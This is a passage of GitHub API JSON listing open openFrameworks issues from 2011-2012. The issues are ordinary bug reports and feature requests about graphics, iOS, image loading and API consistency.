winding","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-09-14T13:50:48Z","state":"open","user":{"url":"https://api.github.com/users/andreasmuller","gravatar_id":"210831a04d36f1aa26413ecbdbd4b07c","login":"andreasmuller","id":791114,"avatar_url":"https://secure.gravatar.com/avatar/210831a04d36f1aa26413ecbdbd4b07c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1643672,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/745"},{"updated_at":"2012-03-17T16:52:58Z","body":"i think it would be wonderful if every OF example was named ofApp instead of testApp. especially because:\r\n\r\n\tclass ofApp : public ofBaseApp {\r\n\r\nis more natural than:\r\n\r\n\tclass testApp : public ofBaseApp {\r\n\r\ngiven the rest of OF naming conventions. and it would increase consistency with things like:\r\n\r\n\tofGetAppPtr();\r\n\tofAppBaseWindow\r\n\tofAppGlutWindow\r\n\r\nthis is a massive refactor that shouldn't be difficult, but should be done at the same time as something like a code formatting cleanup.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/744","comments":10,"milestone":null,"number":744,"assignee":null,"closed_at":null,"title":"rename testApp to ofApp","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-09-14T07:02:36Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1641198,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/744"},{"updated_at":"2011-09-26T11:56:48Z","body":"calling ofEnableAlphaBlending() crashes my app on a machine with opengl version 1.1.0, because glBlendEquation(), introduced at opengl 1.3, needs to gracefully degrade. Here is the solution:\r\n\r\n
\r\nvoid ofEnableAlphaBlending_slightlySafer(void){\r\n\tconst GLubyte * version = glGetString(GL_VERSION);\r\n\tint major, minor;\r\n\tsscanf((const char*)version, \"%i.%i\",&major, &minor);\r\n\r\n\tif(major > 1 || (major==1 && minor>=3)){\r\n\t\tofEnableAlphaBlending();\r\n\t}\t\r\n}\r\n
","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/743","comments":1,"milestone":null,"number":743,"assignee":null,"closed_at":null,"title":"seg fault on ofEnableAlphaBlending() -> glBlendEquation()","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-09-13T22:53:55Z","state":"open","user":{"url":"https://api.github.com/users/jtnimoy","gravatar_id":"153ba4a8df491692b717daad7a6030be","login":"jtnimoy","id":183796,"avatar_url":"https://secure.gravatar.com/avatar/153ba4a8df491692b717daad7a6030be?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1639020,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/743"},{"updated_at":"2012-03-10T04:39:00Z","body":"In ofxiPhoneAppDelegate.mm in the setAnimationFrameInterval method should be changed from\r\n\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n [self startAnimation];\r\n}\r\n\r\nto\r\n\r\nif (animating){\r\n [self stopAnimation];\r\n}\r\n [self startAnimation];\r\n\r\nThis will allow it start again if it's stopped.\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/738","comments":0,"milestone":null,"number":738,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofxiPhone - setting ofSetFrameRate(0) and then back to > 0 doesn't start again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-09-12T21:23:04Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","id":204151,"avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1628082,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/738"},{"updated_at":"2011-12-03T22:55:09Z","body":"it would be awesome to have lines drawn nicer when they are 1 thick and 2 make sharp edges. processing has some functions strokeCap() and strokeJoin() for setting this behavior, but it doesn't work with OPENGL mode. we could probably adapt a geometry shader to do some smart mitering for us on the GPU.\r\n\r\nprompted by the discussion here: http://forum.openframeworks.cc/index.php/topic,7278.0/topicseen.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/730","comments":1,"milestone":null,"number":730,"assignee":null,"closed_at":null,"title":"nicer stroke mitering/joining and end caps","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-09-07T03:27:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1586262,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/730"},{"updated_at":"2011-09-05T15:39:58Z","body":"ofColor_:operator+= currently calls clamp() when it's done doing the +=\r\n\r\ni imagined one of the applications of ofFloatColor would be for averaging or summing ofColor, which normally requires non-saturation semantics for +=. i could also do a / or * every += operation to avoid overflow. this doesn't have to be a bug, but it should at least be documented clearly when we discuss ofColor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/728","comments":1,"milestone":null,"number":728,"assignee":null,"closed_at":null,"title":"ofColor and clamping","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-09-05T14:41:50Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1569364,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/728"},{"updated_at":"2011-09-05T10:17:48Z","body":"Hello\r\n\r\nI had a problem with gamma for my Carbon app in OSX 10.6, UI looked \"blotched\" with Pappis' help it was solved, here are details:\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,6404.msg30519.html#msg30519\r\n\r\nHowever, the trick with HIWindowSetColorSpace does not work in OSX 10.7 Lion\r\nLooking for solutions again\r\n\r\nThanks\r\nTom\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/727","comments":0,"milestone":null,"number":727,"assignee":null,"closed_at":null,"title":"OSX 10.7 Gamma Problem","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"}],"created_at":"2011-09-05T10:17:48Z","state":"open","user":{"url":"https://api.github.com/users/Tommato","gravatar_id":"95bbfbd39116dffe06be4d816f322bf0","login":"Tommato","id":1027082,"avatar_url":"https://secure.gravatar.com/avatar/95bbfbd39116dffe06be4d816f322bf0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1566286,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/727"},{"updated_at":"2011-08-26T18:44:30Z","body":"Related forum post: http://forum.openframeworks.cc/index.php/topic,7053.0.html\r\n\r\nFrom what I understand, it's best to leave the mainThread for UIKit elements and move openGL and other things to another thread. Currently, if there's a lot of drawing then the UIKit elements are delayed and can even pause the update/draw methods entirely. Moving the drawing to it's own thread should help with this.\r\n\r\nI'm still testing, but this looks like it could be a good candidate for core integration. It has examples of threaded, single (what we currently use), and GCD (which I think is iOS 4.0 only) openGL implementation: https://github.com/Volcore/LimbicGL In my early tests, it does fix any pausing of the update/draw with the threaded example (haven't tried the others). I could use some help though trying to integrate this into OF properly.\r\n\r\nThe main example classes are here: https://github.com/Volcore/LimbicGL/tree/master/limbicgl/drivers\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/721","comments":0,"milestone":null,"number":721,"assignee":null,"closed_at":null,"title":"ofxiPhone - Move openGL to its own thread","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-08-26T18:43:09Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","id":204151,"avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1497330,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/721"},{"updated_at":"2012-03-10T04:39:39Z","body":"The libraries linked in 007 as well as the new AVFoundationVideoPlayer is not compatible with 3.x devices and won't build.\r\n\r\nAfter further exploring, I believe these are the steps to get things running on 3.x devices.\r\n\r\n1) In Xcode, Click on target -> application name\r\n2) In the File Name window, set AVFoundation, CoreMedia, and CoreVideo from role \"required\" to \"weak\". They need to be weak linked since they're only available in iOS 4+.\r\n3) In ofxiPhone src folder, AVFoundationVideoPlayer.mm uses CMBlockBufferRef and that is only available in iOS4. This means, this function should be commented out (sorry - avfoundationvideoplayer won't run on iOS4 unless the blocker is changed). Either that or you can comment ouf AVFoundationVideoPlayer from being included in OF.\r\n4) Clean all targets and rebuild","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/720","comments":0,"milestone":null,"number":720,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"007 ofxiPhone not compatible with 3.x devices ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-08-26T18:38:38Z","state":"open","user":{"url":"https://api.github.com/users/cerupcat","gravatar_id":"91b3d4bfbbb99d840b096cde3af877bf","login":"cerupcat","id":204151,"avatar_url":"https://secure.gravatar.com/avatar/91b3d4bfbbb99d840b096cde3af877bf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1497291,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/720"},{"updated_at":"2011-08-22T17:38:49Z","body":"\r\nbased on this comment, \r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,5319.msg33381.html#msg33381\r\n\r\nI wonder if we can be smarter in endShape() / ofPath::tessellate() and look for simple usage (3 or 4 points, etc) before tessellating, or if the slow down is just based on the use of the ofPath object. \r\n\r\n\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/719","comments":1,"milestone":null,"number":719,"assignee":null,"closed_at":null,"title":"optimize ofEndShape() to deal with simple shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2011-08-22T16:56:27Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","id":142897,"avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1459353,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/719"},{"updated_at":"2011-08-22T16:02:30Z","body":"change\r\n\r\nfloat ofCamera::getImagePlaneDistance(ofRectangle viewport) const {\r\n\treturn getPosition().length(); //viewport.height / (2.0f * tanf(PI * fov / 360.0f));\r\n}\r\n\r\nold in comment\r\n\r\ncurrent system is abitrary\r\nsuggest new system is more sensible\r\n(i'm always working in normalised coords)\r\npls check in your life before changing :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/717","comments":0,"milestone":null,"number":717,"assignee":null,"closed_at":null,"title":"suggest new calc clip planes routine","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-08-22T16:02:30Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1458979,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/717"},{"updated_at":"2011-08-22T14:11:34Z","body":"http://forum.openframeworks.cc/index.php/topic,5222.msg33366.html#msg33366\r\n\r\nthere also seem to be a memory leak, when deleting a ofQuicktimeVideoPlayer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/716","comments":0,"milestone":null,"number":716,"assignee":null,"closed_at":null,"title":"problems with stop/play in quicktime videoPlayer","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-08-22T14:11:34Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1458044,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/716"},{"updated_at":"2011-08-16T13:39:49Z","body":"Here\r\nhttps://github.com/openframeworks/openFrameworks/issues/653\r\nI downloaded latest version but in still crashes on my old video card Nvidia GeForce Go 7200.\r\nAny idea why?\r\nofxFBOTexture works, but i got some trobles in pixel format there. \r\nofxFBOTexture uses function with postfix EXT sometimes? ofFbo without it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/711","comments":5,"milestone":null,"number":711,"assignee":null,"closed_at":null,"title":"Problem with ofFbo. Crashes on allocate.There were the same issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"created_at":"2011-08-16T10:21:29Z","state":"open","user":{"url":"https://api.github.com/users/IonRod","gravatar_id":"cf3cb346817dd8a9f8327d1af13c3d46","login":"IonRod","id":886012,"avatar_url":"https://secure.gravatar.com/avatar/cf3cb346817dd8a9f8327d1af13c3d46?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1414013,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/711"},{"updated_at":"2011-08-15T14:23:47Z","body":"i'm noticing this on osx 10.6. all 8-bit images are correct, but somehow i didn't notice about unsigned short and float until now!\r\n\r\ni'm super busy atm, but i've kind of been maintaining the unsigned short/float loading so i'll look into this if someone else doesn't get to it first.\r\n\r\nmeanwhile it would be good to see if it's the same on windows or not. for anyone interested in testing, please check devApps/AdvancedImageLoading and compare the results of the app to the .exr opened in photoshop.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/710","comments":0,"milestone":null,"number":710,"assignee":null,"closed_at":null,"title":"16-bit and 32-bit images are red/blue swapped","labels":[],"created_at":"2011-08-15T14:23:47Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1407813,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/710"},{"updated_at":"2011-08-07T12:19:07Z","body":"in the past there has been ofxQtVideoSaver and a few others. i think this is a really hard problem because it basically needs to be written for each platform, but something that should eventually be solved.\r\n\r\ntwo major use cases i know are:\r\n\r\n- capturing and saving simultaneously, for long streams\r\n- capturing a quick burst of video then saving it to disk\r\n\r\nwhich would might be handled a little differently.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/702","comments":1,"milestone":null,"number":702,"assignee":null,"closed_at":null,"title":"cross platform video saving (ofVideoSaver?)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-08-07T03:23:38Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1359729,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/702"},{"updated_at":"2011-09-06T20:20:03Z","body":"Hi!\r\n\r\nI have problems even getting the ofxOsc Send/Receive examples talking on Ubuntu 11.04 64bit. \r\nThey compile without problems, but sometimes when I run them, communication fails somewhere along the road - input events are not shown in the receiver app. Sometimes it does not work at all.\r\n\r\nThis works all flawlessly on 32bit Ubuntu 11.04. See http://forum.openframeworks.cc/index.php/topic,6918.0.html for more details.\r\n\r\nCan anyone reproduce these problems? Any tips? How could I debug this?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/701","comments":3,"milestone":null,"number":701,"assignee":null,"closed_at":null,"title":"ofxOsc does not seem to work on 64bit Ubuntu","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2011-08-06T19:14:37Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1358688,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/701"},{"updated_at":"2011-08-05T03:06:25Z","body":"very simple but helpful feature request. e.g.,\r\n\r\nofBuffer::operator=(const ofBuffer& mom) {\r\n set(mom.getBinaryBuffer(), mom.size());\r\n}\r\n\r\nthis goes along with the general \"what does the equal operator mean\" debate/discussion :)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/700","comments":0,"milestone":null,"number":700,"assignee":null,"closed_at":null,"title":"ofBuffer with overloaded = operator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2011-08-05T03:06:25Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1349012,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/700"},{"updated_at":"2012-03-14T15:11:28Z","body":"this seems like an api inconsistency to me: i feel like ofTexture::loadData() is similar to ofImage::setFromPixels(), but setFromPixels() will allocate space if necessary while loadData() just prints an error if the data is larger than the allocated space.\r\n\r\ni think auto-allocation would be nice, but i might just be misunderstanding/making a false comparison here.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/699","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":699,"assignee":null,"closed_at":null,"title":"loadData() does not allocate as necessary","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-08-04T10:29:57Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1343463,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/699"},{"updated_at":"2012-03-14T15:12:03Z","body":"from: http://forum.openframeworks.cc/index.php/topic,6952.msg32509.html\r\n\r\n\r\n\r\ngetBmpFromPixels() crashed repeatedly when I tried to rescale grayscale Images of size 3026*2048.\r\n\r\nIt's because memcpy overshoots the src pixel array because dstStride can be larger than srcStride.\r\n\r\nIn ofImage.cpp \r\n\r\ngetBmpFromPixels()\r\n\r\naround line 119, I believe, it should read:\r\n\r\nCode:\r\nview plaincopy to clipboardprint?\r\n... \r\n int srcStride = width * pix.getBytesPerPixel(); \r\n int dstStride = FreeImage_GetPitch(bmp); \r\n unsigned char* src = (unsigned char*) pixels; \r\n unsigned char* dst = bmpBits; \r\n for(int i = 0; i < (int)height; i++) { \r\n // memcpy(dst, src, dstStride); \r\n memcpy(dst, src, srcStride); // did overshoot with e.g. grayscale img of size 3026*2048 \r\n src += srcStride; \r\n dst += dstStride; \r\n } \r\n... \r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/698","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":85,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810,"closed_issues":16},"number":698,"assignee":null,"closed_at":null,"title":"getBmpFromPixels memcpy issue / ofImage::resize issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2011-08-03T18:15:55Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","login":"ofTheo","id":144000,"avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1339116,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/698"},{"updated_at":"2012-04-21T15:34:07Z","body":"I'm trying to build ofxPd in Visual Studio and running into multiple define issues related to the videoinput lib, namely static `verbose`: https://github.com/openframeworks/openFrameworks/blob/master/libs/videoInput/include/videoInput.h#L115\r\n\r\nCouldn't this variable as well as `comInitCount` be moved to the implementation files? or at least in a header hidden from the global namespace? At the least, `verbose` could be renamed to something not so common ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/697","comments":1,"milestone":null,"number":697,"assignee":null,"closed_at":null,"title":"videoinput lib global statics","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2011-08-03T02:27:52Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637,"avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":1334657,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/697"},{"updated_at":"2012-02-25T00:53:30Z","body":"","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/685","comments":3,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https: